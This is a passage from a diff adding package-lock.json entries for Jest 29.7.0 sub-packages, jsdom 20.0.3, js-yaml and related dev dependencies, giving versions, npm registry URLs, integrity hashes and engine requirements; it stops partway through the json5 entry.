"node_modules/jest-diff/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-diff/node_modules/pretty-format": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-29.7.0.tgz", + "integrity": "sha512-Pdlw/oPxN+aXdmM9R00JVC9WVFoCLTKJvDVLgmJ+qAffBMxsV85l/Lu7sNx4zSzPyoL2euImuEwHhOXdEgNFZQ==", + "dev": true, + "dependencies": { + "@jest/schemas": "^29.6.3", + "ansi-styles": "^5.0.0", + "react-is": "^18.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-diff/node_modules/react-is": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.2.0.tgz", + "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w==", + "dev": true + }, + "node_modules/jest-docblock": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-29.7.0.tgz", + "integrity": "sha512-q617Auw3A612guyaFgsbFeYpNP5t2aoUNLwBUbc/0kD1R4t9ixDbyFTHd1nok4epoVFpr7PmeWHrhvuV3XaJ4g==", + "dev": true, + "dependencies": { + "detect-newline": "^3.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-each": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-29.7.0.tgz", + "integrity": "sha512-gns+Er14+ZrEoC5fhOfYCY1LOHHr0TI+rQUHZS8Ttw2l7gl+80eHc/gFf2Ktkw0+SIACDTeWvpFcv3B04VembQ==", + "dev": true, + "dependencies": { + "@jest/types": "^29.6.3", + "chalk": "^4.0.0", + "jest-get-type": "^29.6.3", + "jest-util": "^29.7.0", + "pretty-format": "^29.7.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-each/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-each/node_modules/pretty-format": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-29.7.0.tgz", + "integrity": "sha512-Pdlw/oPxN+aXdmM9R00JVC9WVFoCLTKJvDVLgmJ+qAffBMxsV85l/Lu7sNx4zSzPyoL2euImuEwHhOXdEgNFZQ==", + "dev": true, + "dependencies": { + "@jest/schemas": "^29.6.3", + "ansi-styles": "^5.0.0", + "react-is": "^18.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-each/node_modules/react-is": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.2.0.tgz", + "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w==", + "dev": true + }, + "node_modules/jest-environment-jsdom": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-29.7.0.tgz", + "integrity": "sha512-k9iQbsf9OyOfdzWH8HDmrRT0gSIcX+FLNW7IQq94tFX0gynPwqDTW0Ho6iMVNjGz/nb+l/vW3dWM2bbLLpkbXA==", + "dev": true, + "dependencies": { + "@jest/environment": "^29.7.0", + "@jest/fake-timers": "^29.7.0", + "@jest/types": "^29.6.3", + "@types/jsdom": "^20.0.0", + "@types/node": "*", + "jest-mock": "^29.7.0", + "jest-util": "^29.7.0", + "jsdom": "^20.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + }, + "peerDependencies": { + "canvas": "^2.5.0" + }, + "peerDependenciesMeta": { + "canvas": { + "optional": true + } + } + }, + "node_modules/jest-environment-node": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-29.7.0.tgz", + "integrity": "sha512-DOSwCRqXirTOyheM+4d5YZOrWcdu0LNZ87ewUoywbcb2XR4wKgqiG8vNeYwhjFMbEkfju7wx2GYH0P2gevGvFw==", + "dev": true, + "dependencies": { + "@jest/environment": "^29.7.0", + "@jest/fake-timers": "^29.7.0", + "@jest/types": "^29.6.3", + "@types/node": "*", + "jest-mock": "^29.7.0", + "jest-util": "^29.7.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-get-type": { + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-29.6.3.tgz", + "integrity": "sha512-zrteXnqYxfQh7l5FHyL38jL39di8H8rHoecLH3JNxH3BwOrBsNeabdap5e0I23lD4HHI8W5VFBZqG4Eaq5LNcw==", + "dev": true, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-haste-map": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-29.7.0.tgz", + "integrity": "sha512-fP8u2pyfqx0K1rGn1R9pyE0/KTn+G7PxktWidOBTqFPLYX0b9ksaMFkhK5vrS3DVun09pckLdlx90QthlW7AmA==", + "dev": true, + "dependencies": { + "@jest/types": "^29.6.3", + "@types/graceful-fs": "^4.1.3", + "@types/node": "*", + "anymatch": "^3.0.3", + "fb-watchman": "^2.0.0", + "graceful-fs": "^4.2.9", + "jest-regex-util": "^29.6.3", + "jest-util": "^29.7.0", + "jest-worker": "^29.7.0", + "micromatch": "^4.0.4", + "walker": "^1.0.8" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + }, + "optionalDependencies": { + "fsevents": "^2.3.2" + } + }, + "node_modules/jest-leak-detector": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-29.7.0.tgz", + "integrity": "sha512-kYA8IJcSYtST2BY9I+SMC32nDpBT3J2NvWJx8+JCuCdl/CR1I4EKUJROiP8XtCcxqgTTBGJNdbB1A8XRKbTetw==", + "dev": true, + "dependencies": { + "jest-get-type": "^29.6.3", + "pretty-format": "^29.7.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-leak-detector/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-leak-detector/node_modules/pretty-format": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-29.7.0.tgz", + "integrity": "sha512-Pdlw/oPxN+aXdmM9R00JVC9WVFoCLTKJvDVLgmJ+qAffBMxsV85l/Lu7sNx4zSzPyoL2euImuEwHhOXdEgNFZQ==", + "dev": true, + "dependencies": { + "@jest/schemas": "^29.6.3", + "ansi-styles": "^5.0.0", + "react-is": "^18.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-leak-detector/node_modules/react-is": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.2.0.tgz", + "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w==", + "dev": true + }, + "node_modules/jest-matcher-utils": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-29.7.0.tgz", + "integrity": "sha512-sBkD+Xi9DtcChsI3L3u0+N0opgPYnCRPtGcQYrgXmR+hmt/fYfWAL0xRXYU8eWOdfuLgBe0YCW3AFtnRLagq/g==", + "dev": true, + "dependencies": { + "chalk": "^4.0.0", + "jest-diff": "^29.7.0", + "jest-get-type": "^29.6.3", + "pretty-format": "^29.7.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-matcher-utils/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-matcher-utils/node_modules/pretty-format": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-29.7.0.tgz", + "integrity": "sha512-Pdlw/oPxN+aXdmM9R00JVC9WVFoCLTKJvDVLgmJ+qAffBMxsV85l/Lu7sNx4zSzPyoL2euImuEwHhOXdEgNFZQ==", + "dev": true, + "dependencies": { + "@jest/schemas": "^29.6.3", + "ansi-styles": "^5.0.0", + "react-is": "^18.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-matcher-utils/node_modules/react-is": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.2.0.tgz", + "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w==", + "dev": true + }, + "node_modules/jest-message-util": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-29.7.0.tgz", + "integrity": "sha512-GBEV4GRADeP+qtB2+6u61stea8mGcOT4mCtrYISZwfu9/ISHFJ/5zOMXYbpBE9RsS5+Gb63DW4FgmnKJ79Kf6w==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.12.13", + "@jest/types": "^29.6.3", + "@types/stack-utils": "^2.0.0", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "micromatch": "^4.0.4", + "pretty-format": "^29.7.0", + "slash": "^3.0.0", + "stack-utils": "^2.0.3" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-message-util/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-message-util/node_modules/pretty-format": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-29.7.0.tgz", + "integrity": "sha512-Pdlw/oPxN+aXdmM9R00JVC9WVFoCLTKJvDVLgmJ+qAffBMxsV85l/Lu7sNx4zSzPyoL2euImuEwHhOXdEgNFZQ==", + "dev": true, + "dependencies": { + "@jest/schemas": "^29.6.3", + "ansi-styles": "^5.0.0", + "react-is": "^18.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-message-util/node_modules/react-is": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.2.0.tgz", + "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w==", + "dev": true + }, + "node_modules/jest-mock": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-29.7.0.tgz", + "integrity": "sha512-ITOMZn+UkYS4ZFh83xYAOzWStloNzJFO2s8DWrE4lhtGD+AorgnbkiKERe4wQVBydIGPx059g6riW5Btp6Llnw==", + "dev": true, + "dependencies": { + "@jest/types": "^29.6.3", + "@types/node": "*", + "jest-util": "^29.7.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-pnp-resolver": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/jest-pnp-resolver/-/jest-pnp-resolver-1.2.3.tgz", + "integrity": "sha512-+3NpwQEnRoIBtx4fyhblQDPgJI0H1IEIkX7ShLUjPGA7TtUTvI1oiKi3SR4oBR0hQhQR80l4WAe5RrXBwWMA8w==", + "dev": true, + "engines": { + "node": ">=6" + }, + "peerDependencies": { + "jest-resolve": "*" + }, + "peerDependenciesMeta": { + "jest-resolve": { + "optional": true + } + } + }, + "node_modules/jest-regex-util": { + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-29.6.3.tgz", + "integrity": "sha512-KJJBsRCyyLNWCNBOvZyRDnAIfUiRJ8v+hOBQYGn8gDyF3UegwiP4gwRR3/SDa42g1YbVycTidUF3rKjyLFDWbg==", + "dev": true, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-resolve": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-29.7.0.tgz", + "integrity": "sha512-IOVhZSrg+UvVAshDSDtHyFCCBUl/Q3AAJv8iZ6ZjnZ74xzvwuzLXid9IIIPgTnY62SJjfuupMKZsZQRsCvxEgA==", + "dev": true, + "dependencies": { + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "jest-haste-map": "^29.7.0", + "jest-pnp-resolver": "^1.2.2", + "jest-util": "^29.7.0", + "jest-validate": "^29.7.0", + "resolve": "^1.20.0", + "resolve.exports": "^2.0.0", + "slash": "^3.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-resolve-dependencies": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-29.7.0.tgz", + "integrity": "sha512-un0zD/6qxJ+S0et7WxeI3H5XSe9lTBBR7bOHCHXkKR6luG5mwDDlIzVQ0V5cZCuoTgEdcdwzTghYkTWfubi+nA==", + "dev": true, + "dependencies": { + "jest-regex-util": "^29.6.3", + "jest-snapshot": "^29.7.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-runner": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-29.7.0.tgz", + "integrity": "sha512-fsc4N6cPCAahybGBfTRcq5wFR6fpLznMg47sY5aDpsoejOcVYFb07AHuSnR0liMcPTgBsA3ZJL6kFOjPdoNipQ==", + "dev": true, + "dependencies": { + "@jest/console": "^29.7.0", + "@jest/environment": "^29.7.0", + "@jest/test-result": "^29.7.0", + "@jest/transform": "^29.7.0", + "@jest/types": "^29.6.3", + "@types/node": "*", + "chalk": "^4.0.0", + "emittery": "^0.13.1", + "graceful-fs": "^4.2.9", + "jest-docblock": "^29.7.0", + "jest-environment-node": "^29.7.0", + "jest-haste-map": "^29.7.0", + "jest-leak-detector": "^29.7.0", + "jest-message-util": "^29.7.0", + "jest-resolve": "^29.7.0", + "jest-runtime": "^29.7.0", + "jest-util": "^29.7.0", + "jest-watcher": "^29.7.0", + "jest-worker": "^29.7.0", + "p-limit": "^3.1.0", + "source-map-support": "0.5.13" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-runtime": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-29.7.0.tgz", + "integrity": "sha512-gUnLjgwdGqW7B4LvOIkbKs9WGbn+QLqRQQ9juC6HndeDiezIwhDP+mhMwHWCEcfQ5RUXa6OPnFF8BJh5xegwwQ==", + "dev": true, + "dependencies": { + "@jest/environment": "^29.7.0", + "@jest/fake-timers": "^29.7.0", + "@jest/globals": "^29.7.0", + "@jest/source-map": "^29.6.3", + "@jest/test-result": "^29.7.0", + "@jest/transform": "^29.7.0", + "@jest/types": "^29.6.3", + "@types/node": "*", + "chalk": "^4.0.0", + "cjs-module-lexer": "^1.0.0", + "collect-v8-coverage": "^1.0.0", + "glob": "^7.1.3", + "graceful-fs": "^4.2.9", + "jest-haste-map": "^29.7.0", + "jest-message-util": "^29.7.0", + "jest-mock": "^29.7.0", + "jest-regex-util": "^29.6.3", + "jest-resolve": "^29.7.0", + "jest-snapshot": "^29.7.0", + "jest-util": "^29.7.0", + "slash": "^3.0.0", + "strip-bom": "^4.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-snapshot": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-29.7.0.tgz", + "integrity": "sha512-Rm0BMWtxBcioHr1/OX5YCP8Uov4riHvKPknOGs804Zg9JGZgmIBkbtlxJC/7Z4msKYVbIJtfU+tKb8xlYNfdkw==", + "dev": true, + "dependencies": { + "@babel/core": "^7.11.6", + "@babel/generator": "^7.7.2", + "@babel/plugin-syntax-jsx": "^7.7.2", + "@babel/plugin-syntax-typescript": "^7.7.2", + "@babel/types": "^7.3.3", + "@jest/expect-utils": "^29.7.0", + "@jest/transform": "^29.7.0", + "@jest/types": "^29.6.3", + "babel-preset-current-node-syntax": "^1.0.0", + "chalk": "^4.0.0", + "expect": "^29.7.0", + "graceful-fs": "^4.2.9", + "jest-diff": "^29.7.0", + "jest-get-type": "^29.6.3", + "jest-matcher-utils": "^29.7.0", + "jest-message-util": "^29.7.0", + "jest-util": "^29.7.0", + "natural-compare": "^1.4.0", + "pretty-format": "^29.7.0", + "semver": "^7.5.3" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-snapshot/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-snapshot/node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jest-snapshot/node_modules/pretty-format": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-29.7.0.tgz", + "integrity": "sha512-Pdlw/oPxN+aXdmM9R00JVC9WVFoCLTKJvDVLgmJ+qAffBMxsV85l/Lu7sNx4zSzPyoL2euImuEwHhOXdEgNFZQ==", + "dev": true, + "dependencies": { + "@jest/schemas": "^29.6.3", + "ansi-styles": "^5.0.0", + "react-is": "^18.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-snapshot/node_modules/react-is": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.2.0.tgz", + "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w==", + "dev": true + }, + "node_modules/jest-snapshot/node_modules/semver": { + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", + "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", + "dev": true, + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jest-snapshot/node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + }, + "node_modules/jest-util": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-29.7.0.tgz", + "integrity": "sha512-z6EbKajIpqGKU56y5KBUgy1dt1ihhQJgWzUlZHArA/+X2ad7Cb5iF+AK1EWVL/Bo7Rz9uurpqw6SiBCefUbCGA==", + "dev": true, + "dependencies": { + "@jest/types": "^29.6.3", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-validate": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-29.7.0.tgz", + "integrity": "sha512-ZB7wHqaRGVw/9hST/OuFUReG7M8vKeq0/J2egIGLdvjHCmYqGARhzXmtgi+gVeZ5uXFF219aOc3Ls2yLg27tkw==", + "dev": true, + "dependencies": { + "@jest/types": "^29.6.3", + "camelcase": "^6.2.0", + "chalk": "^4.0.0", + "jest-get-type": "^29.6.3", + "leven": "^3.1.0", + "pretty-format": "^29.7.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-validate/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-validate/node_modules/camelcase": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", + "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/jest-validate/node_modules/pretty-format": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-29.7.0.tgz", + "integrity": "sha512-Pdlw/oPxN+aXdmM9R00JVC9WVFoCLTKJvDVLgmJ+qAffBMxsV85l/Lu7sNx4zSzPyoL2euImuEwHhOXdEgNFZQ==", + "dev": true, + "dependencies": { + "@jest/schemas": "^29.6.3", + "ansi-styles": "^5.0.0", + "react-is": "^18.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-validate/node_modules/react-is": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.2.0.tgz", + "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w==", + "dev": true + }, + "node_modules/jest-watcher": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-29.7.0.tgz", + "integrity": "sha512-49Fg7WXkU3Vl2h6LbLtMQ/HyB6rXSIX7SqvBLQmssRBGN9I0PNvPmAmCWSOY6SOvrjhI/F7/bGAv9RtnsPA03g==", + "dev": true, + "dependencies": { + "@jest/test-result": "^29.7.0", + "@jest/types": "^29.6.3", + "@types/node": "*", + "ansi-escapes": "^4.2.1", + "chalk": "^4.0.0", + "emittery": "^0.13.1", + "jest-util": "^29.7.0", + "string-length": "^4.0.1" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-worker": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-29.7.0.tgz", + "integrity": "sha512-eIz2msL/EzL9UFTFFx7jBTkeZfku0yUAyZZZmJ93H2TYEiroIx2PQjEXcwYtYl8zXCxb+PAmA2hLIt/6ZEkPHw==", + "dev": true, + "dependencies": { + "@types/node": "*", + "jest-util": "^29.7.0", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-worker/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "dev": true + }, + "node_modules/js-yaml": { + "version": "3.14.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", + "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", + "dev": true, + "dependencies": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/jsdom": { + "version": "20.0.3", + "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-20.0.3.tgz", + "integrity": "sha512-SYhBvTh89tTfCD/CRdSOm13mOBa42iTaTyfyEWBdKcGdPxPtLFBXuHR8XHb33YNYaP+lLbmSvBTsnoesCNJEsQ==", + "dev": true, + "dependencies": { + "abab": "^2.0.6", + "acorn": "^8.8.1", + "acorn-globals": "^7.0.0", + "cssom": "^0.5.0", + "cssstyle": "^2.3.0", + "data-urls": "^3.0.2", + "decimal.js": "^10.4.2", + "domexception": "^4.0.0", + "escodegen": "^2.0.0", + "form-data": "^4.0.0", + "html-encoding-sniffer": "^3.0.0", + "http-proxy-agent": "^5.0.0", + "https-proxy-agent": "^5.0.1", + "is-potential-custom-element-name": "^1.0.1", + "nwsapi": "^2.2.2", + "parse5": "^7.1.1", + "saxes": "^6.0.0", + "symbol-tree": "^3.2.4", + "tough-cookie": "^4.1.2", + "w3c-xmlserializer": "^4.0.0", + "webidl-conversions": "^7.0.0", + "whatwg-encoding": "^2.0.0", + "whatwg-mimetype": "^3.0.0", + "whatwg-url": "^11.0.0", + "ws": "^8.11.0", + "xml-name-validator": "^4.0.0" + }, + "engines": { + "node": ">=14" + }, + "peerDependencies": { + "canvas": "^2.5.0" + }, + "peerDependenciesMeta": { + "canvas": { + "optional": true + } + } + }, + "node_modules/jsesc": { + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz", + "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==", + "dev": true, + "bin": { + "jsesc": "bin/jsesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/json-parse-even-better-errors": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==", + "dev": true + }, + "node_modules/json5": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": 